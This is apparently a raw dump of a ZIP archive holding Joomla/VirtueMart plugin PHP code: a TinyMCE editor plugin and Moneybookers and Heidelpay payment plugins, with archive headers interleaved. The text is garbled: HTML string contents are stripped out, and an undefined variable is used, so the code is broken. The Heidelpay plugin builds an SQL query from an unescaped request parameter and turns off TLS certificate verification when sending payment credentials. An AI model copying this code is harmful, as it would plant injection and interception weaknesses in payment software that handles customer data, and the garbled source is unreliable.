$this->params->def('smilies', 1); if ($smilies) { $plugins[] = 'emotions'; $buttons3_add[] = 'emotions'; } //media plugin $media = $this->params->def('media', 1); if ($media) { $plugins[] = 'media'; $buttons3_add[] = 'media'; } // horizontal line $hr = $this->params->def('hr', 1); if ($hr) { $plugins[] = 'advhr'; $elements[] = 'hr[id|title|alt|class|width|size|noshade|style]'; $buttons3_add[] = 'advhr'; } else { $elements[] = 'hr[id|class|title|alt]'; } // rtl/ltr buttons $directionality = $this->params->def('directionality', 1); if ($directionality) { $plugins[] = 'directionality'; $buttons3_add[] = 'ltr,rtl'; } // fullscreen $fullscreen = $this->params->def('fullscreen', 1); if ($fullscreen) { $plugins[] = 'fullscreen'; $buttons2_add[] = 'fullscreen'; } // layer $layer = $this->params->def('layer', 1); if ($layer) { $plugins[] = 'layer'; $buttons4[] = 'insertlayer'; $buttons4[] = 'moveforward'; $buttons4[] = 'movebackward'; $buttons4[] = 'absolute'; } // style $style = $this->params->def('style', 1); if ($style) { $plugins[] = 'style'; $buttons4[] = 'styleprops'; } // XHTMLxtras $xhtmlxtras = $this->params->def('xhtmlxtras', 1); if ($xhtmlxtras) { $plugins[] = 'xhtmlxtras'; $buttons4[] = 'cite,abbr,acronym,ins,del,attribs'; } // visualchars $visualchars = $this->params->def('visualchars', 1); if ($visualchars) { $plugins[] = 'visualchars'; $buttons4[] = 'visualchars'; } // visualblocks $visualblocks = $this->params->def('visualblocks', 1); if ($visualblocks) { $plugins[] = 'visualblocks'; $buttons4[] = 'visualblocks'; } // non-breaking $nonbreaking = $this->params->def('nonbreaking', 1); if ($nonbreaking) { $plugins[] = 'nonbreaking'; $buttons4[] = 'nonbreaking'; } // blockquote $blockquote = $this->params->def( 'blockquote', 1 ); if ($blockquote) { $buttons4[] = 'blockquote'; } // wordcount $wordcount = $this->params->def( 'wordcount', 1 ); if ($wordcount) { $plugins[] = 'wordcount'; } // template $template = $this->params->def('template', 1); if ($template) { $plugins[] = 'template'; $buttons4[] = 'template'; } // advimage $advimage = $this->params->def('advimage', 1); if ($advimage) { $plugins[] = 'advimage'; $elements[] = 'img[class|src|border=0|alt|title|hspace|vspace|width|height|align|onmouseover|onmouseout|name|style]'; } // advlink $advlink = $this->params->def('advlink', 1); if ($advlink) { $plugins[] = 'advlink'; $elements[] = 'a[id|class|name|href|hreflang|target|title|onclick|rel|style]'; } //advlist $advlist = $this->params->def('advlist', 1); if ($advlist) { $plugins[] = 'advlist'; } // autosave $autosave = $this->params->def('autosave', 1); if ($autosave) { $plugins[] = 'autosave'; } // context menu $contextmenu = $this->params->def('contextmenu', 1); if ($contextmenu) { $plugins[] = 'contextmenu'; } // inline popups $inlinepopups = $this->params->def('inlinepopups', 1); if ($inlinepopups) { $plugins[] = 'inlinepopups'; $dialog_type = 'dialog_type : "modal",'; } else { $dialog_type = ""; } $custom_plugin = $this->params->def('custom_plugin', ''); if ($custom_plugin != "") { $plugins[] = $custom_plugin; } $custom_button = $this->params->def('custom_button', ''); if ($custom_button != "") { $buttons4[] = $custom_button; } // Prepare config variables $buttons1_add_before = implode(',', $buttons1_add_before); $buttons2_add_before = implode(',', $buttons2_add_before); $buttons3_add_before = implode(',', $buttons3_add_before); $buttons1_add = implode(',', $buttons1_add); $buttons2_add = implode(',', $buttons2_add); $buttons3_add = implode(',', $buttons3_add); $buttons4 = implode(',', $buttons4); $plugins = implode(',', $plugins); $elements = implode(',', $elements); switch ($mode) { case 0: /* Simple mode*/ $load = "\t\n"; $return = $load . "\t"; break; case 1: /* Advanced mode*/ $load = "\t\n"; $return = $load . "\t"; break; case 2: /* Extended mode*/ $load = "\t\n"; $return = $load . "\t"; break; } return $return; } /** * TinyMCE WYSIWYG Editor - get the editor content * * @param string The name of the editor * * @return string */ public function onGetContent($editor) { return 'tinyMCE.get(\''.$editor.'\').getContent();'; } /** * TinyMCE WYSIWYG Editor - set the editor content * * @param string The name of the editor * * @return string */ public function onSetContent($editor, $html) { return 'tinyMCE.get(\''.$editor.'\').setContent('.$html.');'; } /** * TinyMCE WYSIWYG Editor - copy editor content to form field * * @param string The name of the editor * * @return string */ public function onSave($editor) { return 'if (tinyMCE.get("'.$editor.'").isHidden()) {tinyMCE.get("'.$editor.'").show()}; tinyMCE.get("'.$editor.'").save();'; } /** * * @return boolean */ public function onGetInsertMethod($name) { $doc = JFactory::getDocument(); $js= " function isBrowserIE() { return navigator.appName==\"Microsoft Internet Explorer\"; } function jInsertEditorText( text, editor ) { if (isBrowserIE()) { if (window.parent.tinyMCE) { window.parent.tinyMCE.selectedInstance.selection.moveToBookmark(window.parent.global_ie_bookmark); } } tinyMCE.execInstanceCommand(editor, 'mceInsertContent',false,text); } var global_ie_bookmark = false; function IeCursorFix() { if (isBrowserIE()) { tinyMCE.execCommand('mceInsertContent', false, ''); global_ie_bookmark = tinyMCE.activeEditor.selection.getBookmark(false); } return true; }"; $doc->addScriptDeclaration($js); return true; } /** * Display the editor area. * * @param string The name of the editor area. * @param string The content of the field. * @param string The width of the editor area. * @param string The height of the editor area. * @param int The number of columns for the editor area. * @param int The number of rows for the editor area. * @param boolean True and the editor buttons will be displayed. * @param string An optional ID for the textarea. If not supplied the name is used. * * @return string */ public function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null) { if (empty($id)) { $id = $name; } // Only add "px" to width and height if they are not given as a percentage if (is_numeric($width)) { $width .= 'px'; } if (is_numeric($height)) { $height .= 'px'; } $editor = '\n" . $this->_displayButtons($id, $buttons, $asset, $author) . $this->_toogleButton($id); return $editor; } /** * * @return string */ private function _displayButtons($name, $buttons, $asset, $author) { // Load modal popup behavior JHtml::_('behavior.modal', 'a.modal-button'); $args['name'] = $name; $args['event'] = 'onGetInsertMethod'; $return = ''; $results[] = $this->update($args); foreach ($results as $result) { if (is_string($result) && trim($result)) { $return .= $result; } } if (is_array($buttons) || (is_bool($buttons) && $buttons)) { $results = $this->_subject->getButtons($name, $buttons, $asset, $author); /* * This will allow plugins to attach buttons or change the behavior on the fly using AJAX */ $return .= "\n
\n"; foreach ($results as $button) { /* * Results should be an object */ if ( $button->get('name') ) { $modal = ($button->get('modal')) ? ' class="modal-button"' : null; $href = ($button->get('link')) ? ' href="'.JURI::base().$button->get('link').'"' : null; $onclick = ($button->get('onclick')) ? ' onclick="'.$button->get('onclick').'"' : 'onclick="IeCursorFix(); return false;"'; $title = ($button->get('title')) ? $button->get('title') : $button->get('text'); $return .= '
' . $button->get('text') . "
\n"; } } $return .= "
\n"; } return $return; } /** * * @return string */ private function _toogleButton($name) { $return = ''; $return .= "\n
\n"; $return .= ""; $return .= "
\n"; return $return; } } PK]y>\Veditors/tinymce/index.htmlnuW+A PK]y>\Veditors/index.htmlnuW+A PK]y>\ index.htmlnuW+APK]y>\\/vmpayment/moneybookers_gir/moneybookers_gir.xmlnuW+A Moneybookers Giropay April 2012 Skrill Holdings Limited http://www.skrill.com Copyright (C) 2012 Skrill. http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL 2.0.6 Moneybookers is a popular payment provider authorised by the Financial Services Authority of the United Kingdom (FSA). ]]> moneybookers_gir.php en-GB.plg_vmpayment_moneybookers_gir.ini en-GB.plg_vmpayment_moneybookers_gir.ini PK]y>\D輘tt/vmpayment/moneybookers_gir/moneybookers_gir.phpnuW+A_loggable = true; $this->_debug = false; $this->_tablepkey = 'id'; //virtuemart_moneybookers_id'; $this->_tableId = 'id'; //'virtuemart_moneybookers_id'; } function plgVmConfirmedOrder($cart, $order, $payment_method = '') { parent::plgVmConfirmedOrder($cart, $order, "GIR"); } } // No closing tagPK]y>\V%vmpayment/moneybookers_gir/index.htmlnuW+A PK]y>\)$vmpayment/moneybookers_gir/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Lljtt/vmpayment/moneybookers_obt/moneybookers_obt.phpnuW+A_loggable = true; $this->_debug = false; $this->_tablepkey = 'id'; //virtuemart_moneybookers_id'; $this->_tableId = 'id'; //'virtuemart_moneybookers_id'; } function plgVmConfirmedOrder($cart, $order, $payment_method = '') { parent::plgVmConfirmedOrder($cart, $order, "OBT"); } } // No closing tagPK]y>\Z/vmpayment/moneybookers_obt/moneybookers_obt.xmlnuW+A Moneybookers Bank Transfer April 2012 Skrill Holdings Limited http://www.skrill.com Copyright (C) 2012 Skrill. http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL 2.0.6 Moneybookers is a popular payment provider authorised by the Financial Services Authority of the United Kingdom (FSA). ]]> moneybookers_obt.php en-GB.plg_vmpayment_moneybookers_obt.ini en-GB.plg_vmpayment_moneybookers_obt.ini PK]y>\V%vmpayment/moneybookers_obt/index.htmlnuW+A PK]y>\)$vmpayment/moneybookers_obt/.htaccessnuW+A Order allow,deny Deny from all PK]y>\߄B vmpayment/heidelpay/index.htmlnuW+A PK]y>\>FWW!vmpayment/heidelpay/heidelpay.phpnuW+A * @version 12.05 * @package VirtueMart * @subpackage payment * @copyright Copyright (C) Heidelberger Payment GmbH * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php */ if (!class_exists ('vmPSPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); } class plgVmPaymentHeidelpay extends vmPSPlugin { public static $_this = FALSE; protected $version = '13.11'; function __construct (& $subject, $config) { //if (self::$_this) // return self::$_this; parent::__construct ($subject, $config); $this->_loggable = TRUE; $this->tableFields = array_keys ($this->getTableSQLFields ()); $this->_tablepkey = 'id'; $this->_tableId = 'id'; $this->secret = strtoupper (sha1 (mt_rand (10000, mt_getrandmax ()))); $varsToPush = $this->getVarsToPush (); $this->setConfigParameterable ($this->_configTableFieldName, $varsToPush); //self::$_this = $this; } public function getVmPluginCreateTableSQL () { return $this->createTableSQL ('Payment Heidelpay'); } function getTableSQLFields () { $SQLfields = array( 'id' => 'int(11) UNSIGNED NOT NULL AUTO_INCREMENT', 'virtuemart_order_id' => 'int(1) UNSIGNED', 'order_number' => 'char(64)', 'virtuemart_paymentmethod_id' => 'mediumint(1) UNSIGNED', 'unique_id' => 'varchar(48)', 'short_id' => 'varchar(14)', 'payment_code' => 'varchar(32)', 'comment' => 'text NOT NULL', 'date' => 'timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP', 'payment_methode' => 'char(2)', 'payment_type' => 'char(2)', 'transaction_mode' => 'char(18)', 'payment_name' => 'char(50)', 'processing_result' => 'char(3)', 'secret_hash' => 'char(50)', 'response_ip' => 'char(20)' ); return $SQLfields; } function plgVmOnShowOrderBEPayment ($virtuemart_order_id, $payment_id) { if (!$this->selectedThisByMethodId ($payment_id)) { return NULL; // Another method was selected, do nothing } $db = JFactory::getDBO (); $_q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($_q); if (!($paymentData = $db->loadObject ())) { // JError::raiseWarning(500, $db->getErrorMsg()); } $_html = '' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; if ($paymentData->processing_result == "ACK" AND $paymentData->payment_code == 80) { $_html .= ''; } elseif ($paymentData->processing_result == "ACK") { $_html .= ''; } if ($paymentData->processing_result == "NOK") { $_html .= ''; } $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= ' ' . "\n"; $_html .= '
' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL') . '
' . JText::_ ('VMPAYMENT_HEIDELPAY_PAYMENT_RESULT') . 'WAITINGACKNOK
' . JText::_ ('VMPAYMENT_HEIDELPAY_PAYMENT_METHOD') . '' . $paymentData->payment_methode . '.' . $paymentData->payment_type . ' (' . $paymentData->payment_name . ')
UniqeID' . $paymentData->unique_id . '
Short-ID' . $paymentData->short_id . '
' . JText::_ ('VMPAYMENT_HEIDELPAY_COMMENT') . '' . $paymentData->comment . '
' . "\n"; return $_html; } function plgVmOnConfirmedOrderStorePaymentData ($virtuemart_order_id, $orderData, $priceData) { if (!$this->selectedThisPayment ($this->_pelement, $orderData->virtuemart_paymentmethod_id)) { return NULL; // Another method was selected, do nothing } return FALSE; } function plgVmConfirmedOrder ($cart, $order) { if (!($method = $this->getVmPluginMethod ($order['details']['BT']->virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement ($method->payment_element)) { return FALSE; } $session = JFactory::getSession (); $return_context = $session->getId (); $this->_debug = $method->HEIDELPAY_DEBUG; if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } if (!class_exists ('VirtueMartModelCurrency')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php'); } $address = ((isset($order['details']['ST'])) ? $order['details']['ST'] : $order['details']['BT']); if (!class_exists ('TableVendors')) { require(JPATH_VM_ADMINISTRATOR . DS . 'table' . DS . 'vendors.php'); } $vendorModel = VmModel::getModel ('Vendor'); $vendorModel->setId (1); $vendor = $vendorModel->getVendor (); $vendorModel->addImages ($vendor, 1); $this->getPaymentCurrency ($method); $currency_code_3 = shopFunctions::getCurrencyByID ($method->payment_currency, 'currency_code_3'); $paymentCurrency = CurrencyDisplay::getInstance ($method->payment_currency); $totalInPaymentCurrency = round ($paymentCurrency->convertCurrencyTo ($method->payment_currency, $order['details']['BT']->order_total, FALSE), 2); $cd = CurrencyDisplay::getInstance ($cart->pricesCurrency); // prepare the post var values: $languageTag = $this->getLang (); $params = array(); $params['PRESENTATION.AMOUNT'] = $totalInPaymentCurrency; $params['PRESENTATION.CURRENCY'] = $currency_code_3; $params['FRONTEND.LANGUAGE'] = $languageTag; $params['CRITERION.LANG'] = $params['FRONTEND.LANGUAGE']; $params['IDENTIFICATION.TRANSACTIONID'] = $order['details']['BT']->order_number; /* * Set payment methode to PA for online transfer, invoice and prepayment */ $PaymentTypePA = array('OT', 'PP', 'IV'); if (in_array (substr ($method->HEIDELPAY_PAYMENT_TYPE, 0, 2), $PaymentTypePA)) { $method->HEIDELPAY_PAYMENT_METHOD = "PA"; } else { $method->HEIDELPAY_PAYMENT_METHOD = $method->HEIDELPAY_PAYMENT_METHOD; } $params['PAYMENT.CODE'] = substr ($method->HEIDELPAY_PAYMENT_TYPE, 0, 2) . "." . $method->HEIDELPAY_PAYMENT_METHOD; $params['TRANSACTION.CHANNEL'] = $method->HEIDELPAY_CHANNEL_ID; /* * Special case for paypal without hco iframe */ if ($method->HEIDELPAY_PAYMENT_TYPE == "VAPAYPAL") { $params['PAYMENT.CODE'] = "VA.DB"; $params['ACCOUNT.BRAND'] = "PAYPAL"; $params['FRONTEND.PM.DEFAULT_DISABLE_ALL'] = "true"; $params['FRONTEND.PM.0.ENABLED'] = "true"; $params['FRONTEND.PM.0.METHOD'] = "VA"; $params['FRONTEND.PM.0.SUBTYPES'] = "PAYPAL"; } /* * Special case for MangirKart without hco iframe */ if ($method->HEIDELPAY_PAYMENT_TYPE == "PCMANGIR") { $params['PAYMENT.CODE'] = "PC.PA"; $params['ACCOUNT.BRAND'] = "MANGIRKART"; } /* * Special case for BarPay without hco iframe */ if ($method->HEIDELPAY_PAYMENT_TYPE == "PPBARPAY") { $params['PAYMENT.CODE'] = "PP.PA"; $params['ACCOUNT.BRAND'] = "BARPAY"; } /* * User account information */ $params['ACCOUNT.HOLDER'] = $address->first_name . " " . $address->last_name; $params['NAME.GIVEN'] = $address->first_name; $params['NAME.FAMILY'] = $address->last_name; if(!empty($address->company)) $params['NAME.COMPANY'] = $address->company ; $params['ADDRESS.STREET'] = $address->address_1; isset($address->address_2) ? $params['ADDRESS.STREET'] .= " " . $address->address_2 : ''; $params['ADDRESS.ZIP'] = $address->zip; $params['ADDRESS.CITY'] = $address->city; $params['ADDRESS.COUNTRY'] = ShopFunctions::getCountryByID ($address->virtuemart_country_id, 'country_2_code'); $params['CONTACT.EMAIL'] = $order['details']['BT']->email; $params['CONTACT.IP'] = $_SERVER['REMOTE_ADDR']; /* * Add debug informations for merchiant support */ $params['SHOP.TYPE'] = 'VirtueMart2.0.26d'; $params['SHOPMODUL.VERSION'] = $this->version; $params['CRITERION.PAYMENT_NAME'] = JText::_ ('VMPAYMENT_HEIDELPAY_' . $method->HEIDELPAY_PAYMENT_TYPE); $params['CRITERION.PAYMENT_NAME'] = strip_tags($params['CRITERION.PAYMENT_NAME']); /* * Create hash to secure the response */ $params['CRITERION.SECRET'] = $this->createSecretHash ($order['details']['BT']->order_number, $method->HEIDELPAY_SECRET); /* * Set transaction mode */ if ($method->HEIDELPAY_TRANSACTION_MODE == 2) { $params['TRANSACTION.MODE'] = "LIVE"; } elseif ($method->HEIDELPAY_TRANSACTION_MODE == 0) { $params['TRANSACTION.MODE'] = "INTEGRATOR_TEST"; } else { $params['TRANSACTION.MODE'] = "CONNECTOR_TEST"; } /* * Default configuration for hco */ $params['FRONTEND.MODE'] = "DEFAULT"; $params['FRONTEND.ENABLED'] = "true"; $params['FRONTEND.POPUP'] = "false"; $params['FRONTEND.REDIRECT_TIME'] = "0"; $params['REQUEST.VERSION'] = "1.0"; $params['FRONTEND.NEXTTARGET'] = "top.location.href"; /* * Add response and css path */ $params['FRONTEND.RESPONSE_URL'] = JROUTE::_ (JURI::root(), $xhtml=true, $ssl=0) . 'plugins/vmpayment/heidelpay/heidelpay/heidelpay_response.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&on=' . urlencode($order['details']['BT']->order_number) . '&pm=' . $order['details']['BT']->virtuemart_paymentmethod_id; $cssFile = "heidelpay_default.css"; if (!empty($method->HEIDELPAY_STYLE)) { $cssFile = $method->HEIDELPAY_STYLE ; } $params['FRONTEND.CSS_PATH'] = JROUTE::_ (JURI::root(), $xhtml=true, $ssl=0) . 'plugins/vmpayment/heidelpay/heidelpay/' . $cssFile; $requestUrl = $method->HEIDELPAY_PAYMENT_URL; $params['SECURITY.SENDER'] = $method->HEIDELPAY_SECURITY_SENDER; $params['USER.LOGIN'] = $method->HEIDELPAY_USER_LOGIN; $params['USER.PWD'] = $method->HEIDELPAY_USER_PW; if(substr ($method->HEIDELPAY_PAYMENT_TYPE, 0, 2) == 'DD') { $sepaform = array(); $sepaform = $this->switchDirectDebitFrom($method->HEIDELPAY_SEPA_FORM); $params = array_merge($sepaform , $params); } /* * send request to payment server */ $response = $this->doRequest ($requestUrl, $params, $method->HEIDELPAY_DEBUG); if ($params['TRANSACTION.MODE'] != "LIVE") { vmInfo('VMPAYMENT_HEIDELPAY_PAYMENT_TESTMODE'); } /* * On success show iframe or show error information for your customer */ $returnValue = 0; if ($response['PROCESSING_RESULT'] == "ACK" || $response['POST_VALIDATION'] == "ACK") { $returnValue = 2; $html = $this->renderByLayout ('displaypayment', array( 'response' => $response['FRONTEND_REDIRECT_URL'] )); } else { $html = JText::_ ('VMPAYMENT_HEIDELPAY_TECHNICAL_ERROR') . "
- " . addslashes ($response[PROCESSING_RETURN]) . "
" . JText::_ ('VMPAYMENT_HEIDELPAY_CONTACT_SHOPOWNER'); } /* * Show debug information */ if ($method->HEIDELPAY_DEBUG == 1) { vmDebug('HEIDELPAY plgVmConfirmedOrder', $params); } return $this->processConfirmedOrderPaymentResponse ($returnValue, $cart, $order, $html, '', ''); } function plgVmgetPaymentCurrency ($virtuemart_paymentmethod_id, &$paymentCurrencyId) { if (!($method = $this->getVmPluginMethod ($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement ($method->payment_element)) { return FALSE; } $this->getPaymentCurrency ($method); $paymentCurrencyId = $method->payment_currency; } function plgVmOnPaymentResponseReceived (&$html) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $virtuemart_paymentmethod_id = JRequest::getInt ('pm', 0); $order_number = JRequest::getString ('on', 0); if (!($method = $this->getVmPluginMethod ($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement ($method->payment_element)) { return NULL; } if (!($virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber ($order_number))) { return NULL; } $db = JFactory::getDBO (); $_q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($_q); if (!($paymentData = $db->loadObject ())) { // JError::raiseWarning(500, $db->getErrorMsg()); } vmdebug ('HEIDELPAY paymentdata', $paymentData); $cart = VirtueMartCart::getCart (); $cart->emptyCart (); if ($paymentData->processing_result == "NOK") { vmError ('VMPAYMENT_HEIDELPAY_PAYMENT_FAILED','VMPAYMENT_HEIDELPAY_PAYMENT_FAILED'); vmError (" - " . $paymentData->comment," - " . $paymentData->comment); } else { vmInfo ('VMPAYMENT_HEIDELPAY_PAYMENT_SUCESS'); $html = "

".JText::sprintf ('VMPAYMENT_HEIDELPAY_ORDER_NR') . ': ' . $order_number . "

" ; $tmpkom = preg_replace("/\(-/", 'Barcode runterladen', $tmpkom ); $html .= $tmpkom; } // if payment is in test mode if ($paymentData->transaction_mode != "LIVE") { vmInfo('VMPAYMENT_HEIDELPAY_PAYMENT_TESTMODE'); } $orgSecret = $this->createSecretHash ($order_number, $method->HEIDELPAY_SECRET); $order['comments']=""; if ($virtuemart_order_id) { $order['customer_notified'] = 0; $order['order_status'] = $this->getStatus ($method, $paymentData->processing_result); $modelOrder = VmModel::getModel ('orders'); $orderitems = $modelOrder->getOrder ($virtuemart_order_id); $nb_history = count ($orderitems['history']); if ($orderitems['history'][$nb_history - 1]->order_status_code != $order['order_status']) { if ($method->HEIDELPAY_CONFIRM_EMAIL == 1 or ($method->HEIDELPAY_CONFIRM_EMAIL == 2 and $paymentData->processing_result == "ACK")) { $order['customer_notified'] = 1; $order['comments'] = JText::sprintf ('VMPAYMENT_HEIDELPAY_EMAIL_SENT') . "
"; } $order['comments'] .= $paymentData->comment; /* * Verify Payment response */ if ($orgSecret != $paymentData->secret_hash) { $order['customer_notified'] = 0; $order['comments'] = "Hash verification error, suspecting manipulation. IP: " . $paymentData->response_ip; $order['order_status'] = ''; } $modelOrder->updateStatusForOneOrder ($virtuemart_order_id, $order, TRUE); } } return TRUE; } function plgVmOnUserPaymentCancel () { if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $order_number = JRequest::getVar ('on'); if (!$order_number) { return FALSE; } $db = JFactory::getDBO (); $query = 'SELECT ' . $this->_tablename . '.`virtuemart_order_id` FROM ' . $this->_tablename . " WHERE `order_number`= '" . $order_number . "'"; $db->setQuery ($query); $virtuemart_order_id = $db->loadResult (); if (!$virtuemart_order_id) { return NULL; } return TRUE; } function getStatus ($method, $status) { if ($status == 'ACK') { $new_status = $method->HEIDELPAY_STATUS_SUCCESS; } else { $new_status = $method->HEIDELPAY_STATUS_FAILED; } return $new_status; } function plgVmOnStoreInstallPaymentPluginTable ($jplugin_id) { return $this->onStoreInstallPluginTable ($jplugin_id); } public function plgVmOnSelectCheckPayment (VirtueMartCart $cart, &$msg) { return $this->OnSelectCheck ($cart); } public function plgVmDisplayListFEPayment (VirtueMartCart $cart, $selected = 0, &$htmlIn) { return $this->displayListFE ($cart, $selected, $htmlIn); } public function plgVmonSelectedCalculatePricePayment (VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { return $this->onSelectedCalculatePrice ($cart, $cart_prices, $cart_prices_name); } function plgVmOnCheckAutomaticSelectedPayment (VirtueMartCart $cart, array $cart_prices = array()) { return $this->onCheckAutomaticSelected ($cart, $cart_prices); } public function plgVmOnShowOrderFEPayment ($virtuemart_order_id, $virtuemart_paymentmethod_id, &$payment_name) { $this->onShowOrderFE ($virtuemart_order_id, $virtuemart_paymentmethod_id, $payment_name); } function plgVmonShowOrderPrintPayment ($order_number, $method_id) { return $this->onShowOrderPrint ($order_number, $method_id); } function plgVmDeclarePluginParamsPayment ($name, $id, &$data) { return $this->declarePluginParams ('payment', $name, $id, $data); } function plgVmSetOnTablePluginParamsPayment ($name, $id, &$table) { return $this->setOnTablePluginParams ($name, $id, $table); } public function plgVmOnUpdateOrderPayment ($_formData) { return NULL; } public function plgVmOnUpdateOrderLine ($_formData) { return NULL; } public function plgVmOnEditOrderLineBE ($_orderId, $_lineId) { return NULL; } public function plgVmOnShowOrderLineFE ($_orderId, $_lineId) { return NULL; } protected function getLang () { $language =& JFactory::getLanguage (); $tag = strtolower (substr ($language->get ('tag'), 0, 2)); return $tag; } private function doRequest ($url, $params, $debug) { $data = $params; $result = ""; // Erstellen des Strings für die Datenübermittlung foreach ($data AS $key => $value) { if ($this->isUTF8 ($value)) { $value = utf8_decode ($value); } $key = strtoupper ($key); $value = urlencode($value); $result .= $key. "=" . $value . "&"; } $strPOST = stripslashes ($result); // prüfen ob CURL existiert if (function_exists ('curl_init')) { $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_FAILONERROR, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 60); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt ($ch, CURLOPT_POST, 1); curl_setopt ($ch, CURLOPT_POSTFIELDS, $strPOST); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, "php ctpepost"); $this->response = curl_exec ($ch); $this->error = curl_error ($ch); curl_close ($ch); $res = $this->response; if (!$this->response && $this->error) { $msg = urlencode ('Curl Fehler'); $res = 'status=FAIL&msg=' . $this->error; } } else { $msg = urlencode ('Curl Fehler'); $res = 'status=FAIL&&msg=' . $msg; } $result = NULL; parse_str ($res, $result); /* * Show debug information */ if ($debug == 1) { vmdebug ('Heildepay Response', $result); } return $result; } private function isUTF8 ($string) /*{{{*/ { if (is_array ($string)) { $enc = implode ('', $string); return @!((ord ($enc[0]) != 239) && (ord ($enc[1]) != 187) && (ord ($enc[2]) != 191)); } else { return (utf8_encode (utf8_decode ($string)) == $string); } } protected function checkConditions ($cart, $method, $cart_prices) { $address = (($cart->ST == 0) ? $cart->BT : $cart->ST); $amount = $cart_prices['salesPrice']; $amount_cond = ($amount >= $method->min_amount AND $amount <= $method->max_amount OR ($method->min_amount <= $amount AND ($method->max_amount == 0))); $countries = array(); if (!empty($method->countries)) { if (!is_array ($method->countries)) { $countries[0] = $method->countries; } else { $countries = $method->countries; } } // probably did not gave his BT:ST address if (!is_array ($address)) { $address = array(); $address['virtuemart_country_id'] = 0; } if (!isset($address['virtuemart_country_id'])) { $address['virtuemart_country_id'] = 0; } if (in_array ($address['virtuemart_country_id'], $countries) || count ($countries) == 0) { if ($amount_cond) { return TRUE; } } return FALSE; } function createSecretHash ($orderID, $secret) { $hash = sha1 ($orderID . $secret); return $hash; } /** * methode to change the form fields of the hco(iframe) * nessuccary for support of SEPA (single euro payments area) * @param int $mode_id id to set version * @return array parameter for hco call */ public function switchDirectDebitFrom($mode_id) { $params = array(); switch ($mode_id){ // account and bank no: case 1: $params['FRONTEND.SEPA'] = 'NO'; $params['FRONTEND.SEPASWITCH'] = 'NO'; break; // both methodes separeted with an or case 3: $params['FRONTEND.SEPA'] = 'YES'; $params['FRONTEND.SEPASWITCH'] = 'YES'; break; // both methodes with a selector case 4: $params['FRONTEND.SEPA'] = 'NO'; $params['FRONTEND.SEPASWITCH'] = 'YES'; break; // IBAN and BIC default: $params['FRONTEND.SEPA'] = 'YES'; $params['FRONTEND.SEPASWITCH'] = 'NO'; } return $params; } } PK]y>\xh#h#!vmpayment/heidelpay/heidelpay.xmlnuW+A VMPAYMENT_HEIDELPAY 12-Sep-2012 Heidelberger Payment GmbH info@heidelpay.de http://www.heidelpay.de Copyright Heidelberger Payment GmbH http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL 13.11 Virtuemart Plugin von:

]]>
de-DE.plg_vmpayment_heidelpay.ini en-GB.plg_vmpayment_heidelpay.ini en-GB.plg_vmpayment_heidelpay.sys.ini heidelpay.php index.html heidelpay http://testshops.heidelpay.de/downloads/plg_vm_heidelpay.xml
